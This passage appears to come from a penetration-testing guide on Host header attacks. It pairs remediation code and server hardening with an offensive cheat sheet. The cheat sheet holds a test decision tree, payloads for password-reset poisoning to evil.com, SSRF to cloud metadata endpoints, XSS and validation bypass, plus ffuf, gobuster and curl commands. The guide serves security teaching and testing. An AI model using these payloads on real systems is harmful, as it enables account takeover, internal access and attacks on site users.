15. Remediation
15.1 Validate the Host Header Against a Whitelist
# ── Django ──
# settings.py:
ALLOWED_HOSTS = ['target.com', 'www.target.com']
# Django raises SuspiciousOperation if Host is not in this list
# ── Flask ──
from flask import request, abort
ALLOWED_HOSTS = {'target.com', 'www.target.com'}
@app.before_request
def check_host():
host = request.host.split(':')[0] # strip port
if host not in ALLOWED_HOSTS:
abort(400)
# ── Express (Node.js) ──
const ALLOWED_HOSTS = ['target.com', 'www.target.com'];
app.use((req, res, next) => {
const host = req.hostname; // express strips port automatically
if (!ALLOWED_HOSTS.includes(host)) {
return res.status(400).send('Invalid host');
}
next();
});
# ── PHP ──
$allowedHosts = ['target.com', 'www.target.com'];
$host = $_SERVER['HTTP_HOST'];
// Strip port:
$host = strtolower(preg_replace('/:\d+$/', '', trim($host)));
if (!in_array($host, $allowedHosts, true)) {
http_response_code(400);
exit('Invalid host');
}
15.2 Don't Trust Forwarding Headers for Security Decisions
# WRONG — trusting X-Forwarded-Host for URL generation:
base_url = "http://" + request.headers.get("X-Forwarded-Host", request.host)
reset_link = base_url + "/reset?token=" + token
# SAFE — use configured base URL, never from headers:
BASE_URL = "https://target.com" # hardcoded in config
def generate_reset_link(token):
return f"{BASE_URL}/reset?token={token}"
# SAFE — Django password reset (uses ALLOWED_HOSTS, not request.host):
# Uses: settings.BASE_URL or constructs from ALLOWED_HOSTS[0]
15.3 Nginx — Server Name Enforcement
# nginx.conf — reject requests with unexpected Host:
server {
listen 80 default_server;
# Catch-all: return 444 (no response) for invalid hosts:
return 444;
}
server {
listen 80;
server_name target.com www.target.com;
# Explicitly set Host for proxied requests (don't trust client Host):
proxy_set_header Host $host;
# OR use a fixed value:
proxy_set_header Host "target.com";
# Don't forward X-Forwarded-Host blindly:
# proxy_set_header X-Forwarded-Host $http_x_forwarded_host; ← WRONG
# Leave it unset or fix it:
proxy_set_header X-Forwarded-Host $host;
}
15.4 Apache — ServerName and VirtualHost Hardening
# httpd.conf — catch-all that rejects unknown hosts:
<VirtualHost *:80>
ServerName default
# Return 400 for all requests with unknown Host:
<Location />
Require all denied
</Location>
</VirtualHost>
# Named virtualhost — only responds to its own hostname:
<VirtualHost *:80>
ServerName target.com
ServerAlias www.target.com
# ... rest of config
</VirtualHost>
# Prevent X-Forwarded-Host from overriding Host in URL generation:
# Don't use %{HTTP:X-Forwarded-Host}e in RewriteRule conditions
15.5 Harden Cache Configuration
# Nginx — include Host in cache key:
proxy_cache_key "$scheme$host$request_uri";
# Varnish VCL — vary cache on Host:
sub vcl_hash {
hash_data(req.url);
if (req.http.host) {
hash_data(req.http.host);
}
return (lookup);
}
15.6 Defense-in-Depth
PRIMARY CONTROLS:
├── ALWAYS validate Host header against a strict whitelist of expected domains
├── NEVER use Host header value to construct URLs, links, or emails
│ → Use a hardcoded BASE_URL from app configuration
├── NEVER trust X-Forwarded-Host, X-Host, or X-Forwarded-Server for
│ security-sensitive operations (URL generation, routing, access control)
└── Strip all ambiguous forwarding headers at the perimeter
SECONDARY CONTROLS:
├── Configure web server to return 444/400 for unknown Host values
├── Include Host in cache keys to prevent cache poisoning
├── Reverse proxies: explicitly set Host on backend requests
│ (don't blindly forward client-supplied Host)
├── Don't expose admin panels on the same IP as public services
├── Use separate ports or dedicated internal IPs for admin interfaces
└── Validate X-Forwarded-For / X-Forwarded-Host only if set by your own trusted proxy
DETECTION:
├── Log all requests with unexpected Host headers
├── Alert on Host headers containing private IPs (10.x, 192.168.x, 127.x)
├── Alert on password reset emails containing unexpected domain names
├── DAST: Burp Suite Active Scanner, nuclei host-header templates
├── Param Miner in CI/CD pipeline for unkeyed header discovery
└── Monitor for unusual outbound HTTP connections from app servers (Host-SSRF indicator)
16. Master Cheat Sheet
Attack Selection Decision Tree
Found an HTTP application with a Host header?
│
├── Test 1: Is Host reflected in response body or headers?
│ ├── Set Host: UNIQUEMARKER1337
│ ├── YES → candidate for XSS and cache poisoning
│ └── NO → test with X-Forwarded-Host, X-Host
│
├── Test 2: Does the app send emails (password reset, notifications)?
│ ├── Set Host: YOUR-COLLABORATOR.oastify.com
│ ├── Request a password reset for a test account
│ ├── Check email → does reset link contain your Collaborator domain?
│ └── YES → Password Reset Poisoning → account takeover chain
│
├── Test 3: Does Host trigger OOB callbacks?
│ ├── Set Host: YOUR-COLLABORATOR.oastify.com
│ ├── Check Collaborator → DNS/HTTP callback received?
│ └── YES → Host-based SSRF → pivot to internal services
│
├── Test 4: Does changing Host to 127.0.0.1 / localhost change the response?
│ ├── GET /admin with Host: localhost
│ ├── Different response, 200 instead of 403?
│ └── YES → Authentication bypass → admin access
│
├── Test 5: Is the response cached?
│ ├── Send request twice → X-Cache: HIT?
│ ├── Set Host: evil.com → send → check X-Cache: HIT on repeat
│ └── YES + Host reflected → Cache Poisoning → XSS for all users
│
├── Test 6: Is the target IP serving multiple vhosts?
│ ├── Try common subdomains: Host: admin.target.com, dev.target.com
│ ├── Run ffuf/gobuster vhost brute-force against TARGET_IP
│ └── Different responses → hidden vhosts discovered
│
└── Test 7: If Host is validated — bypass:
├── Try X-Forwarded-Host instead
├── Try duplicate Host headers
├── Try Host: target.com.evil.com (contains target.com)
├── Try Host: localhost / 127.0.0.1 / [::1] / 2130706433
└── Use Param Miner to discover other unkeyed headers
Quick Payload Reference
# ── Password Reset Poisoning ──
Host: evil.com
X-Forwarded-Host: evil.com
Host: evil.com:80@attacker.com
# ── SSRF via Host ──
Host: 127.0.0.1
Host: localhost
Host: 169.254.169.254 # AWS IMDS
Host: metadata.google.internal # GCP IMDS
Host: [::1] # IPv6 loopback
Host: 2130706433 # 127.0.0.1 decimal
# ── Routing-Based SSRF ──
Host: 192.168.0.68
Host: 10.0.0.1:8080
Host: 172.16.0.1
# ── XSS via Host ──
Host: "><script>alert(1)</script>
Host: evil.com"><img src=x onerror=alert(1)>
# ── Vhost Discovery ──
Host: admin.target.com
Host: dev.target.com
Host: internal.target.com
Host: staging.target.com
Host: jenkins.target.com
Host: grafana.target.com
# ── Validation Bypass ──
Host: target.com.evil.com
Host: evil.com#target.com
X-Forwarded-Host: evil.com
Host: evil.com (with Host: target.com duplicate)
# ── OOB Confirmation ──
Host: YOUR-COLLABORATOR.oastify.com
Host: abc123.oast.fun # interactsh
Tool Quick Reference
# Vhost brute-force:
ffuf -u https://TARGET_IP/ -H "Host: FUZZ.target.com" \
-w subdomains.txt -mc 200,302 -fs BASELINE_SIZE
gobuster vhost -u https://target.com \
-w subdomains.txt --append-domain -t 50
# Internal IP scan via routing SSRF:
ffuf -u https://target.com/ -H "Host: FUZZ" \
-w internal_ips.txt -mc 200 -fs BASELINE_SIZE
# OOB confirmation:
interactsh-client
# → Use abc123.oast.fun in Host header
# Automated scan:
nuclei -u https://target.com -tags host-header,ssrf -v
# Header discovery:
# Burp → Right-click → Param Miner → Guess headers
# curl testing:
curl -sk https://target.com/ -H "Host: evil.com" -v
curl -sk https://target.com/ -H "X-Forwarded-Host: evil.com" -v
curl -sk https://target.com/admin -H "Host: localhost" -v
MITRE ATT&CK Mapping
T1190 — Exploit Public-Facing Application
→ Host header injection to reach admin panels / internal services
T1071.001 — Application Layer Protocol: Web Protocols
→ Host-based SSRF for C2 communication or internal pivot
T1557 — Adversary-in-the-Middle
→ Cache poisoning poisons responses between server and users
T1539 — Steal Web Session Cookie
→ XSS via Host injection + cache poisoning → cookie theft
T1110 — Brute Force
→ Virtual host brute-forcing to discover hidden subdomains
T1083 — File and Directory Discovery
→ Host-SSRF to reach internal metadata / file services